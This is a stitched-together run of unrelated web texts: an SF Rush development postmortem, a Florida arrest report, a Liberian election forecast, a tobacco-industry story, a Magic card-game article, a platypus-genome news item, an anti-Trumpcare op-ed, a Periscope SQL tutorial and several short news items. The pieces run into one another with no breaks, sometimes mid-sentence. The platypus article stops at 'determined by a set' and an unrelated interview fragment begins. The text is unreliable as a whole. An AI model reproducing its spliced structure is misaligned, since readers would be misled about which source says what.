top to bottom left side, then top to bottom right side: John Ray, Spencer Lindsay, John Geraci, Gunnar Madsen, Steve Riesenberger, Cameron Petty, Kirk Young, and Alan Gray.Since SF Rush was released in December of 1996, sales of the game have exceeded 10,000 units (a large number for a deluxe, sit-down, coin-op game), while sales of consumer versions of Rush have topped the 500K mark and continue to climb. We were fortunate enough to have Ed Logg�the man who created Asteroids, Centipede, and Gauntlet, and converted Wayne Gretzky's 3D Hockey to the N64�volunteer his team to do the N64 port for Christmas 1997.The in-house consumer Rush team not only made the sprawling beast run properly under the N64s limited resources, but also managed to add new graphics and a portfolio of player adjustable effects (wind, fog, and so on) and options (tag, secret keys, and others). At the same time, the coin-op team was working on an update to the arcade version (San Francisco Rush: The Rock). This release would feature new tracks, as well as incorporating a new set of cars that were done by some of the Mace team artists (Jeremy Mattson, Patrice Crawford, and Matt Harvey).The face of the Rush team changed once again not long after the game went to production. Steve Riesenberger, Aaron Hightower, Rick Gonzales, Garret Jost, and Brian Davis have all joined the team, and everyone but John Ray and Spencer Lindsay have moved on to different pastures. Both the consumer and the revamped coin-op Rush teams are currently hard at work on two separate Rush sequels.Not long after the production of the original game, I moved on from the coin-op Rush team. Tom Capizzi had already left the company to join Rhythm and Hues in Los Angeles, so Spencer Lindsay became art director again for Rush: The Rock. Spencer had learned some valuable lessons over the course of the project�as we all had�and was well prepared to take up the reigns. Meanwhile, I was off on vain attempt to make something other than another racing game. I obviously failed miserably, as I've been working on nothing but another racing game for the last nine months. But that's another story�[Cameron Petty joined Atari Games in 1992. He was game designer and associate producer for both Primal Rage and SF Rush, and went on to co-found City Of Heroes creator Cryptic Studios. This article was originally published in the August 1998 issue of Game Developer magazine.]A 56-year-old man was arrested Monday after police said he drove naked through his Boynton Beach neighborhood with electrical wires attached to his genitals.
Someone called police after Kurt Allen Jenkins reportedly slowed his white four-door Toyota and made sexual advances toward that person. Jenkins allegedly motioned toward his groin area, at which point the person saw the wires, and opened the passenger-side door.
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The caller declined Jenkins’ offer to climb in but snapped a picture of him to show city police.
Jenkins continued his slow drive through the neighborhood west of Congress Avenue and south of Miner Road as school-aged children got off the bus, the caller told police.
Two marked police cars were needed to pull over Jenkins, who reluctantly stepped out of his car only wearing red shorts, a police report states.
An officer handcuffed Jenkins on the ground after he repeatedly ignored police orders, a report states.
Jenkins was hospitalized for three days, court records show. He is scheduled to appear before a Palm Beach County judge on Thursday morning, according to court records.
He is charged with lewd behavior in front of children, indecent exposure and resisting an officer without violence, according to jail records.On 10 October, Liberians will elect their next president and two legislative chambers in a watershed election with a potential for reigniting old grievances. The incumbent, President Ellen Johnson Sirleaf, is stepping down in accordance with the constitution which limits her to two six-year terms in office. However, there is no clear winning candidate on either side of the ruling party or the opposition, suggesting the election will be open to some surprises which will likely be determined in a run-off between the two main contenders.
While it is clear that this year’s elections will be highly competitive, they will also be a litmus test for Liberian security forces, who for the first time since the end of the civil war in 2005 will manage state security without major support from the international community; the United Nations Mission in Liberia (UNMIL) officially began drawing to a close last July, with a complete exit planned to be finished by March 2018. The scale-back, which was premature in some respects, could leave a power vacuum which local actors could attempt to tap into.
Warlords, footballers and the unknown
Liberians are currently facing a highly fragmented political playing field for the 73-seat lower house and 30-seat Senate, increasing the likelihood that no candidate gets an absolute majority plus one vote, meaning a run-off is almost certain. About 20 candidates have been confirmed to be running for the presidency, and 986 candidates are running for the House of Representatives, the lower house.
Vice President Joseph Boakai won the premiership of the ruling Unity Party (U.P.) in April amid intense infighting and divisions in the party. The former chairman of the U.P., Varney Sherman, is not running following allegations of corruption resulting from a major leak of classified documents by British transparency campaigner Global Witness which suggested that he was involved in high-level corruption involving a British iron ore mining firm. Boakai has named the speaker of the House of Representatives, Emmanuel Nuquay, as his running mate. While Boakai enjoys a ‘pseudo-incumbency’ from his vice-presidential post and position in the ruling party, his main challenge will be to crystallise the U.P.’s support base, not least following a lukewarm endorsement in March of his candidacy by Johnson Sirleaf, after some disagreement over his chosen running-mate. Given that Nuquay was initially not among Boakai’s top five candidates, it is probable that the president exerted some level of influence over the appointment.
Boakai’s main challenger is likely to be George Weah, a former Liberian national football player who has been a frontrunner politician since the first presidential elections in 2005. He runs for the opposition party, Coalition for Democratic Change (CDC), and is running with the former wife of convicted warlord Charles Taylor, Jewel Howard Taylor, as his running mate. While being able to garner support in the populous south-western Bong and Montserrado counties – the latter includes the capital Monrovia – Weah is less likely to win enough support in other remote areas of the country to make him a clear lead contender; this was a key reason for his 2005 loss against Johnson Sirleaf. There have also been public discussions about the possibility that Boakai and Weah co-operate in the elections, although so far no agreement has been reached. Charles Brumskine, the leader of the opposition Liberty Party (L.P.), is the third main candidate set to get enough votes for a second round. Brumskine ran in both previous polls, but failed to seriously challenge Johnson Sirleaf in the last one in 2011. Prince Johnson, a former warlord, of the opposition Movement for Democracy and Reconstruction (MDR) will continue to wield significant control over the north-eastern Nimba County, which holds significant untapped iron ore deposits which have been fought over by international mining firms.
Newer candidates will not be able to gain enough support to reach the presidency, but they will become central in this year’s election as they will be courted by leading candidates looking to form political alliances to secure an absolute majority. This means there will be room for political bartering and alliance building between the two rounds as well as after a run-off, which will create an uncertain policy environment for businesses over the next six years, and some alliances will break. This is could also reignite old demons, as some candidates are calling for prosecution of individuals who were central in the civil war, or corruption probes into high-ranking politicians.
The political alliances will become clearer after the first round. For instance, if the U.P. leads after the first round of voting, it is possible that opposition parties rally behind the opposition candidate in exchange for positions or funding in their respective constituencies over the next six-year term. However, L.P. and CDC supporters fought each other on 20 September, leaving at least two people seriously wounded during a rally in the northern town of Sanniquellie City, Nimba County, in what was the first incident of violence in this year’s campaign. As political parties intensify their campaign rallies over the next two weeks, it is likely that further incidents of fighting between political supporters could erupt.
Growing uncertainty on the horizon
While the number of candidates in this year’s elections is likely to increase policy uncertainty in the short term, so does the candidates’ lack of original policy responses to the country’s economic and geopolitical challenges. All candidates run on similar platforms, promising to reduce unemployment particularly among the youth, to tackle corruption and governance deficits, and improve infrastructure and service delivery of local governments. The high number of candidates for the legislature could almost entirely renew the two chambers, meaning that businesses will be exposed to many new and less-experienced stakeholders. This is likely to increase the public affairs challenges that businesses looking to set up operations in Liberia face.
Furthermore, the highly fragmented political environment could also lead to a more volatile security environment, not least in the absence of UNMIL support. In July 2016, UNMIL withdrew most of its several thousand military personnel and law enforcement officers, leaving a little over 1,840 security forces in the country. The peacekeeping mission comprised over 15,000 in-country staff at the beginning of the mission in 2006. Although the scale-back has been progressive over the past decade, the power vacuum that the international peacekeeping force leaves behind could become subject to increased competition over political power and access to land, which could translate into violence.
Last year, a survey by Catholic Relief Services, a U.S.-funded humanitarian relief organisation, suggested that underlying issues from the war could reignite grievances; political actors taking part in the peace process tended to favour peace and reconciliation over prosecution of criminal acts committed during the conflict as both sides were considered equally responsible. Chief among these issues is the high level of youth unemployment. To Liberian older youths who grew up and partook in the civil strife, hardly any of whom have received appropriate schooling or training afterwards, the lack of employment opportunities could create desperate situations, pushing ex-combatants into criminality to make ends meet. That is likely to further increment security risk, particularly in urban areas, including the capital Monrovia, where many of the youths live.
Furthermore, while almost two decades of fighting had destroyed many of the governance structures in place – Liberia was at the end of the 1980s considered a rising star on the continent – the 2014 Ebola epidemic, again decimated the country’s healthcare infrastructure, which continues to face serious challenges of funding and skills gaps.
Forecast
While the upcoming Liberian elections in mid-October will see the incumbent president hand over power, the number of candidates looking to replace her is increasing political uncertainty, which could translate into a more volatile security situation. No clear candidate looks likely to win an outright majority in the first round; a balkanised political playing field will give room for intense negotiations and horse trading, leaving no clear policy line in place.
Read the full reportWrestlemania Classics: Ricky Steamboat vs Randy Savage, Wrestlemania 3
Shantha FOLLOW FEATURED WRITER News 2.49K // 08 Mar 2012, 22:57 IST SHARE Share Options × Facebook Twitter Flipboard Reddit Google+ Email
On March 27, 1987, at Pontiac, Michigan, a singles match for the Intercontinental Championship stole the show at Wrestlemania 3. That match featured the reigning IC champion ‘Macho Man’ Randy Savage defending his title against Ricky ‘The Dragon’ Steamboat. The in-ring skills of both these men were impeccable and it showed in the contest. In the end, Ricky won the match, dethroning Randy Savage from being the Intercontinental Champion.
Watch this classic in these videos:
Part 1:
http://www.youtube.com/watch?v=skjWY3vXYoQ&feature=player_detailpage
Part 2:
http://www.youtube.com/watch?feature=player_detailpage&v=21yHgXsLges
‘Wrestlemania Classics’ is a special feature on Sportskeeda.com, showcasing the memorable matches held at the grandest stage of them all. Click here to revisit all the spectacular matches featured in ‘Wrestlemania Classics’The story of Dr James D. Mold and his cancer free cigarette is one that would incense every smoker and every person who has lost a loved one due to the effects of tobacco smoking. While there have always been rumours that tobacco companies were less than honest about the health risks associated with cigarette smoking, the information that came to light about the pioneering work Mold did and how he was ignored highlights the greed that drove the tobacco industry.
How It All Started
Mold began working in 1955 as a scientist for Liggett & Myers, a tobacco company in North Carolina. His role was to identify cancer causing ingredients in cigarette smoke that lab mice were exposed to. Working alongside other scientists, Mold found the materials that caused cancer on the skin of lab mice and started a project to make a safer cigarette that would exclude or minimise these harmful ingredients.
Project XA
Mold’s pioneering work on creating a different cigarette that didn’t give you cancer became known as Project XA. He had the backing of Liggett to develop such a product, and worked incessantly with the A.D Little Company on the task ahead.
25 years after he started, Mold finally came up with the XA, or the palladium cigarette, that relied on the use of palladium and magnesium nitrate to destroy cancer causing substances in cigarette smoke. Indeed, in lab tests performed, these cigarettes were shown to have been successful in reducing the incidence of cancer in lab animals.
Litigation Worries
Despite the company’s initial support, Executives withdrew their backing for the project and the palladium cigarette never got to the production stage. The main reason for this was simple – the company’s lawyers had advised that launching a safer product would lead to endless lawsuits from the public for the less safe products that Liggett sold.
After 25 years of research and development, Mold had hit a brick wall and could not do anything to continue his project. All his previous work simply had to be abandoned and forgotten, as Liggett requested Mold not to publish anything he did or learned on the subject. So, after more than two decades, the public had no better knowledge or a safer product despite the work that was done. Worse still, Liggett and other tobacco giants continued to sell cancer causing cigarettes, even though they were fully aware of the health risks associated with what they sold.
Breaking Ranks With Other Tobacco Giants
Another reason the palladium cigarette never made it to the shelves was because Liggett didn’t want to break ranks with other tobacco giants like Phillip Morris. Although the company knew that the product would be commercially viable and marketable, they were more worried about the potential retaliation from other tobacco companies in the industry.
In the end, after spending an estimated $10million on the project, Liggett buried all traces of it in the sand. From 1975 onwards, all internal meetings associated with Project XA had to be attended to by a company lawyer, which shows clearly how worried the tobacco company was about the safety of their products.Standard seems to be in full flux, and after all the hype that surrounded the walking dead before the actual release of Return to Ravnica, Zombies is slowly becoming less and less of a threat in today’s Standard metagame. Thanks to near-weekly large tournaments like the Star City Games Open Series, the play value of cards rises and falls fast, and it is sometimes hard to keep up with what you should be playing and what you should not be playing. To stay on top of what’s happening in Standard, I strongly suggest you follow Nick Vigabool’s Standard Analysis series. And for people who would like a little more in-depth look at why certain cards are good or bad right now, this is the article for you.
Let’s look at some cards that people should not be playing right now, but still are.
Just remember what you tell yourself when you get spam email: If something seems to good to be true, it probably is. Control players aren’t stupid, and if they are, you shouldn’t be worried about them beating you in the first place.
Slaughter Games and similar cards are generally better against combo decks, where you can remove a critical combo piece, but we don’t have combo decks in Standard.
I’ve also seen people board Slaughter Games or Nevermores against cards like Terminus or Supreme Verdict, as their aggressive decks “can’t beat those cards.” But they can. You just have to hold back a little, or disrupt your opponent enough to kill them before they can successfully wipe your board. Thalia, Guardian of Thraben, is great at doing this, as she can pressure your opponent and slow them down. Blood Artist generally puts your opponent in a “damned if you do, damned if you don’t” situation, and both of these cards can help kill your opponent if they just don’t have it, whereas a Nevermore or Slaughter Games would only have wasted you three or four mana (and likely a whole turn), which you could have used to just kill your opponent. Now, I understand neither Thalia nor Blood Artist is great against a miracled Terminus, but that usually happens before you would’ve cast Slaughter Games or Nevermore.
If you want something extra against sweepers, I suggest playing more threats. Other solutions include counterspells, if they have just Terminus, and Rootborn Defenses, if control decks move towards Supreme Verdict.
Now, let’s look at some cards people should be playing right now, that they aren’t playing enough of:
To put these suggestions into a more concrete form, how about you try one of these two lists at your next tournament:
This Esper control list by Michael Hetrick is ready for today’s Standard: it sports Sorin, Lingering Souls, and maindeck counterspells, backed up by a full suite of Dissipates out of the board and even a single Dispel. This man is serious about his counters. Also note that he has access to (instant speed) removal against pesky creatures like Thundermaw Hellkite, which might prove bothersome otherwise.
This Junk Token list takes some of the other suggestions into consideration: it has the arguably best card in Standard right now (Thragtusk), combined with Sorin and Garruk, Lingering Souls and Intangible Virtue, and mana dorks and Keyrunes to play all these spells sooner than your opponent.
It is equipped out of the board with Sigardas, and has a Cavern of Souls main. I think I want two, but I’m not sure what to cut. There are already a lot of colorless producing lands, and I don’t want to cut a Forest, as that will make my Arbor Elves worse.
Good luck, and may you always be one step ahead of your opponents!
Jay Lansdaal
@iLansdaal on Twitter
iLansdaal on mtgoPublished online 7 May 2008 | 453, 138-139 (2008) | doi:10.1038/453138a
News
Monotreme's genome shares features with mammals, birds and reptiles.
CREDITS TOP TO BOTTOM: MEUL/ARCO/NATUREPL; N. A. CALLOW/NHPA; W. SLOSS/NATUREPL; J. ROTMAN/NATUREPL; J. JENSEN/IMAGEQUESTMARINE.COM; J. JENSEN/IMAGEQUESTMARINE.COM; G. ELLIS/FLPA; D. WATTS/NATUREPL; D. AUBREY/SPL; H. AUSLOOS/NHPA; T. J. RICH/NATUREPL; S. DALTON/NHPA; A. SANDS/NATUREPL; B. CASTELEIN/NATUREPL
A draft sequence of the platypus genome reveals reptilian and mammalian elements and provides more evidence for its place in the ancestral line of animal evolution.
The platypus (Ornithorhynchus anatinus) is endemic to Australia and one of nature's oddest creatures, seemingly assembled from the spare parts of other animals. The semi-aquatic monotreme is a venomous, duck-billed mammal that lays eggs, nurses its young and occupies a lonely twig at the end of a sparse branch of the vertebrate evolutionary tree.
Now, the structure of its genome has revealed new clues to how mammals evolved. “The analysis is beginning to align these strange features with genetic innovation,” says Wesley Warren of Washington University in St Louis, Missouri, the lead author of the genome analysis — a huge international project (see page 175). Comparisons with the genomes of other mammals will help to date the emergence of the platypus's distinguishing characteristics and reveal the genetic events that underlie them.
For example, mammals are defined by their possession of mammary glands, which in females can produce milk. Although the platypus doesn't have nipples, it produces true milk — full of fats, sugars and proteins — which the young suck through a glandular patch on its skin. The analysis shows that the platypus has genes for the family of milk proteins called caseins, which map together in a cluster that matches that of humans. This is a sign that one of the genetic innovations that led to the development of milk occurred more than 166 million years ago, and after mammals first split from the lizard-like sauropsids that gave rise to modern reptiles and birds.
“There is nothing quite as enigmatic as a platypus.”
The genes relating to the platypus's eggs offer further insight. The embryos develop within the maternal uterus for 21 days before they are expelled in a thumbnail-sized leathery egg. After 11 days of incubation, the young hatchlings emerge with their organs not yet fully differentiated. Like marsupials, they finish developing while nursing. The platypus shares with other mammals four genes associated with the zona pellucida, a gel-like coating that facilitates fertilization of the egg. But it also has two matches for ZPAX genes that had previously been found only in birds, amphibians and fish. And it shares with the chicken a gene for a type of egg-yolk protein called a vitellogenin. That suggests that vitellogenins, which are found in birds and fish, predate the split from the sauropsids, although the platypus retains only one vitellogenin gene, whereas the chicken has three.
Other characteristics that seem purely reptilian turn out to have evolved independently, the analysis suggests. Male platypuses have spurs on their hind legs that are loaded with a venom so potent it can kill a dog. Like the venom of reptiles, the poison is a cocktail of variations on at least three kinds of peptide. But the variations arose from duplications of different genes in platypuses than in modern reptiles. The similarity in venom is an example of convergent evolution between the two tetrapods.
“There is nothing quite as enigmatic as a platypus,” says Richard Gibbs, who directs the Human Genome Sequencing Center at Baylor College of Medicine in Houston, Texas. “You have got these reptilian repeat patterns and these more recently evolved milk genes and independent evolution of the venom. It all points to how idiosyncratic evolution is.”
The platypus has genetic characteristics of both reptiles and mammals. D. WATTS/NATUREPL
The sex of the platypus is determined by a set |
is someone who can do all the technical things they have to do. The great analyst is someone who can tell a story and know how to approach a problem and knows how to prioritize stakeholder management.
The numbers…your business person isn’t gonna like these numbers, they’re really low. How are you going to approach that? I think those are the things that often sets someone apart. But you have to be able to do the math, right? I can’t have someone who only can tell a story.
Max: Of course. This has been fantastic. I think we’ve gotten a ton of information. Thank you for sharing your experiences. It’s been amazing!
Rachael: Sure!by Matthew Casper
Along with the rest of the nation, I have been inundated this week by the media coverage of yet another instance of President Donald J. Trump's casual relationship with the truth. Whether on TV, radio, or the Internet, not a day has passed where another ridiculous chapter been well-chronicled and analyzed. While the entire Administration's political staff has been tasked with sometimes laughably backing the President's lies (and gaslighting the media), some of the most critical issues to face humanity have been under assault by the behind-the-scenes cabal that increasingly threatens the very future of the world. (And I can't believe that I even have to write that.)
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Ben and the entire team at The Daily Banter have continued to cover the budgetary and policy shenanigans that have shocked the conscience of those paying attention. However, it seems that one of the major organs of our body politic that should be pushing back on the untruths and injustices is falling short. Far short. Nowhere is this more evident this week than in the area of "Trumpcare," or the Republican plan to gut Barack Obama's legacy.
It should be pretty simple. Paul Ryan and the House GOP put forward -- after a process that wouldn't get greenlit as an old Pink Panther movie -- a bill they dubbed the American Health Care Reform Act of 2017, a bill designed to give as large a tax benefit to the top earners in the country as possible while still plausibly offering cover to cynical conservatives to call it a healthcare reform bill. (Allegedly.) The conservative-aligned Congressional Budget Office released a "better than expected" assessment which exposed the bill for what it was, and Trump and Ryan's apparatchiks have since spent the better part of their days alternatively explaining why the CBO is bad and shouldn't be believed; why the CBO's forecast was a great thing; why this isn't a big deal because it's just a negotiating document; why this is a huge deal and the only legislation that will get a vote; how everyone will ultimately be “taken care of"; how coverage really isn't the important end goal but "access to coverage" is...
It actually gets exhausting trying to keep up.
It isn't unlike other issues we've seen with Trump's candidacy and now presidency, which is why you'd expect that people would have adjusted their expectations by now.
So why is it that the mainstream media has not been able to do the very basic functions of their role when it comes to the Trumpcare disaster?
It's our free press, dubbed the Fourth Estate for its important role in preserving our freedom and system of government, which is perhaps best suited to uncover and disseminate truth. One of the only positive outcomes of the Trump Era so far is the media's return to fact-checking as a central function rather than a novel extra. (The fact that a Politifact or Factcheck.com even had to exist is a depressing topic for another time.) Even still, when it comes to the AHCA (Trumpcare), they get so caught up in unwinding the spin that they miss the obvious lines of pushback they should be focusing on. In that spirit, here is a set of questions and pushback to comments that I hope our major outlets will get around to centering on. Consider this a memo to the mainstream media.
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1. We keep hearing from the GOP that it's impossible to review their plan because we are only reviewing one part. They say, "This is just one part of a three pronged approach. The second and third parts will be where costs are driven down, where access is increased, where competition will unleash the forces of the market to where insurance companies will offer exactly the kind of policies that people want and can afford. Those second and third parts aren't even developed yet so we can't believe the analysis that you are referencing now."
Response: Let me just stop you there. What specifically leads you to believe that you can accomplish any of what you've just said? If you haven't even developed the second and third prongs, how can you state with any credibility that you can achieve what you say? Why is it that you believe that we can't analyze the outcomes with the data we have while you are predicting outcomes of policies that no one has been able to develop?
Second Response: So what are the exact policies in the second and third prongs that will result in these decreased costs and better insurance benefits? We already have experience with several policy ideas such as multi-state policies or "eliminating the lines" and have analyses of previous plans that have been offered that include other standard Republican solutions, but none of that has ever shown to do what you're claiming it will. We also know that your bill doesn't fund the pieces that have worked at anywhere near the level you would need to cover the respective populations. Shouldn't the American public be able to see your entire plan and have a debate about every piece of it before you throw roughly 20% of the economy into chaos?
2. Republican lawmakers and officials continue to use the "Obamacare is in a death spiral" talking point. This has received some surface pushback, but there should be a stock response. (Especially when Paul Ryan predictably repeats it.)
Response: I'm having a hard time understanding what you mean by "death spiral." Because that phrase has a definition, and according to the American Academy of Actuaries itself, Obamacare exchanges are not in a death spiral at all. Why should we believe anything you have to say about Obamacare if you can't be honest about this fact?
3. Republicans like to refer to there being only one company in many counties offering exchange policies.
Response: That certainly is a problem. Would you then be open to the much simpler fix that would make a federal option available for people to choose to purchase, which would offer both competition and a more competitive rate for the people of your district? What would you say to the CEOs of Aetna or Anthem, who have apparently linked their participation in profitable exchanges to political favors, retaliating for the federal government not giving into unrelated demands? Would this be something you should investigate?
4. The most pervasive talking point has been that Republicans want to increase "access" to insurance.
Response: I know you like to use this term, but what exactly does "access to insurance" mean? Do you mean that people will be given the ability to purchase the same level of coverage they have now for a no-less-affordable price, or is "access" a euphemism for "people will be able to choose to buy a plan if they can afford that plan"?
5. Critics of Obamacare and its metrics also point out that not as many people are signed up as expected.
Response: Do you think you have any responsibility in the fact that fewer people took part in the Obamacare program and therefore it's more expensive for everyone? We agree that Republicans took steps to limit access to Medicaid expansion, and that you and your colleagues supported such things as eliminating the risk corridor portion of the bill, not paying agreed amounts to participant insurers, and cutting off funding for marketing and enrollment efforts. (Ed: note that this wasn't asked as a question. Journalists must stop asking politicians if they agree with facts and instead just state the facts for what they are. If someone wants to claim that the sky isn't blue, make them come out and say it on their own rather than give them cover.) So when you claim to be saving the system from Obama and the Democrats, aren't you being less than honest with your constituents about your own part in its shortcomings?
These are obviously just a starting point for questions that every American deserves answers to. Journalists must stop being afraid of losing access to government officials who lie to them and instead take seriously their responsibility to inform the public of the truth. They also must have responses prepared for the second and third level of talking point obfuscation. They need to have facts like those linked above at their fingertips and ready to unleash when the Administration seeks to prevaricate. Jake Tapper has been an example of a journalist who firmly but fairly pushes back on talking points, but even Tapper ends up majoring in unraveling lies rather than identifying facts about policy. Jake and other journalists who care about reality should stop shying away from poking holes in talking points, especially when those talking points are repeated nightly by in-house "experts" hired to do nothing more than toe the party line. Truth must carry a higher value than simply letting every voice be heard.
And we need that truth now more than ever.For many businesses, understanding revenue per hour is as important as revenue per day. It changes throughout the day with the number of people engaging with the product.
One powerful way to track how today is trending vs. the past few days is to overlay the hourly data of each day:
By overlaying each day as it’s own line, we can easily see which hours get the most revenue and how each day compares the the last.
And unlike a simple daily revenue bar chart, it’s easy to understand the current day’s progress before the day is over.
Building Hourly Revenue
To make this hourly trend chart, we’ll start with daily revenue:
select [created_at:pst:date], sum(price)
from transactions
where [created_at=5days]
group by 1 order by 1
Which looks like this:
The square-bracket syntax above is a feature of Periscope. These two examples make it easier to work with time zones since the charts need to reflect PST but the database is in UTC. This database is PostgreSQL, so here’s what Periscope runs in their place:
Date Aggregation
[created_at:pst:date] converts created_at from UTC timestamp to a PST date:
date_trunc(
'day',
((created_at + interval '-7 hour'))::timestamp
)::date
#### Date Restriction **`[created_at=5days]`** restricts **`created_at`** to the last 5 days in PST and maintains the sargability of the column's index by keeping all the math on the right hand side:
created_at >= (
((now() + interval '-7 hour')::date + interval '7 hour')
- interval '4 day'
) and created_at <
(now() + interval '-7 hour')::date + interval '31 hour'
### Splitting Hourly Revenue by Day Next we split each day by hour to get the data we need for the lines:
select
[created_at:pst:date],
[created_at:pst:hour_of_day],
sum(price)
from transactions
where [created_at=5days]
group by 1, 2 order by 1, 2
Which looks like this:
The additional square bracket **`[created_at:pst:hour_of_day]`** extracts the hour from the PST-adjusted timestamp. It translates to:
extract(hour from ((created_at + interval '-7 hour'))::timestamp)
Rotating to Hourly Revenue by Day
The query is almost there! We want the hours to be the X-axis and the days the labels. Just switch the first two columns (or change the segmentation column) and make it a line chart:
select
[created_at:pst:hour_of_day],
[created_at:pst:date],
sum(price)
from transactions
where [created_at=5days]
group by 1, 2 order by 1, 2
 That's it! The full query with Periscope syntax expanded becomes:
select
extract(hour from (
(created_at + interval '-7 hour'))::timestamp
),
date_trunc('day', (
(created_at + interval '-7 hour'))::timestamp
)::date,
sum(price)
from transactions
where
created_at >= (
((now() + interval '-7 hour')::date + interval '7 hour')
- interval '4 day')
and created_at < (
now() + interval '-7 hour'
)::date + interval '31 hour'
group by 1, 2 order by 1, 2
A great companion chart to this one is the cumulative version of the same data. It shows how the the days stack up against each other and makes it obvious when the current day under or over-performing:
The same method for building the hourly charts works for other intervals too! Track daily trends by month or monthly trends by year, or any interval that makes sense for your business!Millions of birds have descended on a small Kentucky city this winter, fouling the landscape, scaring pets and raising the risk for disease in a real-life version of Alfred Hitchcock's horror film, The Birds.
The blackbirds and European starlings blacken the sky of Hopkinsville, Kentucky, before roosting at dusk, turn the landscape white with bird poop, and the disease they carry can kill a dog and sicken humans.
Time for a sequel to "The Birds"? Credit:HARRISON MCCLARY
"I have seen them come in, and there are enough that if the sun is just right, they'll cloud your vision of the sun," said Hopkinsville-Christian County historian William Turner. "I estimate there are millions of them."
David Chiles, president of the Little River Audubon Society, said the fact that migratory flocks are roosting in the city rather than flying further south is tied to climate warming.Chrysler 200 Super S – Click above to view the high-res image gallery
Nestled into a well-hidden crevice on the outskirts of the Chrysler booth at the Detroit Auto Show is a Mopar-accessorized 200 Super S. That's right: a pimped 200. It would appear that Mopar noticed the 200 looks a bit... tall, so Team Pentastar's aftermarket arm dropped the 200's suspension a full three inches and outfitted it with a reworked lower chin and rear decklid spoilers. The 200 is further tweaked with a sublime quartet of glossy black 19-inch wheels, a pair of awkward hood vents, a mesh grille and foglamp bezels with light bar applique.So... your neighbors still haven't noticed that you dropped thousands of dollars on aftermarket parts for your Chrysler 200? Mopar's design department has also re-sprayed the Super S with two-tone tungsten on matte black paint. Unfortunately the thin pinstriping on the showcar appears less than production ready. Click below for our high-res gallery of the 200 Super S.The official site for Shenmue City has opened up, more info is trickling down. Shenmue City was thought to be a sequel to Shenmue 2, it has been revealed that is not the case. The game will take place in a parallel universe and you will start off where Shenmue 1 started.
Seems that characters exclusive to Shenmue Online (cancelled game) will be used in this title, as well as CGI from the past titles. As far as pricing, the game will be free to play, but you will have to pay for some items.
As for who is making the game, it is not SEGA, they are not developing or publishing the game. The game is being developed by YS NET, an independent studio started in November 2008. The director of this project is Yu Suzuki. Sunsoft is helping with the project.
[Thanks: STORM!]Following a month with reports of violent muggings and assaults, dozens of Marigny residents gathered Wednesday (July 2) to demand an increased police presence in their neighborhood.
Authorities have vowed to deploy beefed-up patrols in and around the French Quarter during this weekend's Essence Festival, but Marigny residents said they need a more permanent solution.
"We are not happy," said Kappa Horn, who organized the meeting at her Dauphine Street restaurant, Horn's. "We're fed up... we want more police, we need more police," Horn said.
Many at Wednesday's meeting voiced concern over the increasing number of crimes reported in the area amidst what they say is a scant police presence. They complained about long response times when crimes are reported.
"I had someone banging at my door at 5:30 in the morning," one woman said. "I called the police but no one ever came."
A quality-of-life officer for the area who attended the meeting tried assuring the audience that his department is doing what it can, amidst dwindling ranks of officers on the street.
Horn's restaurant, stores and residences in the neighborhood have been recent targets of crime, and some at the meeting said they had been victims of violent crime in the past weeks.
Will Ford and Tim Swartzentruber said they have lived in the neighborhood for nearly five years, but after being attacked by three gunmen who robbed them Sunday, and hearing the stories of friends and colleagues who have suffered similar fates, they say they no longer feel safe.
"It's really sad, but I'm thinking this might be the last straw," Swartzentruber said. "I hate feeling afraid in my own neighborhood. It's just awful."
Four people were victims of armed robberies or attempted robberies in the Marigny last week, according to police reports. An additional three armed robberies were reported in nearby streets in the French Quarter during the same time.
Jeffrey Vollmer said he was out Tuesday (June 24) evening with his son and daughter when he was assaulted by a group of three men who tried to rob him.
The group was walking in the 1400 block of Chartres Street, about 9:30 p.m. when they were approached.
Vollmer, 45, was asked for his wallet but before he could react he was struck on the head with a "heavy, blunt object."
One of the men then swung at Vollmer, he said, and he began to fight back.
After struggling for a couple of minutes, Vollmer's assailants gave up and fled the scene.
As a result of the attack, Vollmer had to have two staples in the top of his head, he said.
Later that week, Ford and Swartzentruber were held-up at gunpoint in a similar scenario. The couple was walking near the corner of Marigny and Royal streets on Sunday morning about 2:22 a.m. when three men approached them.
The group demanded that they hand over their belongings, but attacked both men before they had the chance to do so.
Swartzentruber was hit over the back and neck with what he believes was a pistol.
While he was doubled over in pain, Ford, who was a couple of steps ahead of Swartzentruber, had been cornered by one of the men and was struck across the face with a gun.
"I heard a pop or a crack, like a cap gun or something," Swartzentruber said. Looking over, he saw blood gushing through Ford's nose.
The impact shattered Ford's nasal cavity, leaving him with a black eye and a swollen cheekbone - injuries doctors have told him will require "extensive reconstructive surgery" in the months to come.
The group of men ran away with Ford's and Swartzentruber's wallets and a phone.
After hailing a policeman who happened to be driving by at the time, they said another call came over the radio: Two more men reported being robbed by three armed men a couple of blocks away, in the 1500 block of Pauger Street.
The men told police they were assaulted by a group of three men who pistol-whipped them and robbed them of their property. As in the previous incident, the group stole the victims' wallets and ran off.
"All of these incidents are just too similar,"Swartzentruber later said. "It seems strange that they haven't connected them."
Police classified Vollmer's assault as an "attempted simple robbery" and released a sketch of one of the suspects in the case last week. Earlier this month authorities issued a video of a man suspected in several armed robberies in the Marigny, but have not linked him to the two assaults on Sunday morning.
"I've always thought it was a possibility to get mugged," Ford said. "But this? This is just random, unnecessary violence," he said.
"I never wanted to feel that way -- to be afraid like that."
Below is footage of a man New Orleans police suspect committed a string of four armed robberies in the Marigny between June 8-15.
*****
Anyone who has any information on any of the robberies mentioned is asked to call Crimestoppers at 504.822.1111 or toll-free at 877.903.7867. Tips can also be texted to C-R-I-M-E-S (274637); text TELLCS then the crime information. Callers or texters do not have to give their names or testify and can earn a $2,500 reward for information that leads to an indictment.Danmark (English: Denmark) is an islet located near Sandvika in the Municipality of Bærum, Norway.
While the original meaning is not exactly verified,[1] the name of the islet reflects Norwegians' (friendly) joking about the relatively small geographical size of Denmark proper. Like Denmark, this islet is flat, small, and located overseas south of Bærum. The name predates 1814, when the personal union known as Denmark–Norway was dissolved. In a sale of land in the 1780s, it was mentioned that the sale included 'a little island called Denmark' (Danish: en lille ø kaldet Danmark).[1]
References [ edit ]
Literature [ edit ]
Ness, Tore. 2008. Navn i fjorden : Oslo – Asker – Bærum. Oslo: Orion Forlag AS. ISBN 978-82-458-0847-6
:. Oslo: Orion Forlag AS. ISBN 978-82-458-0847-6 Borgen, Per Otto. 2006. Asker og Bærum leksikon. Drammen: Forlaget for by- og bygdehistorie. ISBN 82-91649-10-3
Coordinates:Neil Campling
Last month, the best-performing media release of the year was revealed. It wasn’t Spectre, Adele’s new album or tickets for U2’s latest global tour. It was Fallout 4, a game from Bethesda Game Studios, which made $750m (£497.6m) in a single day of sales.
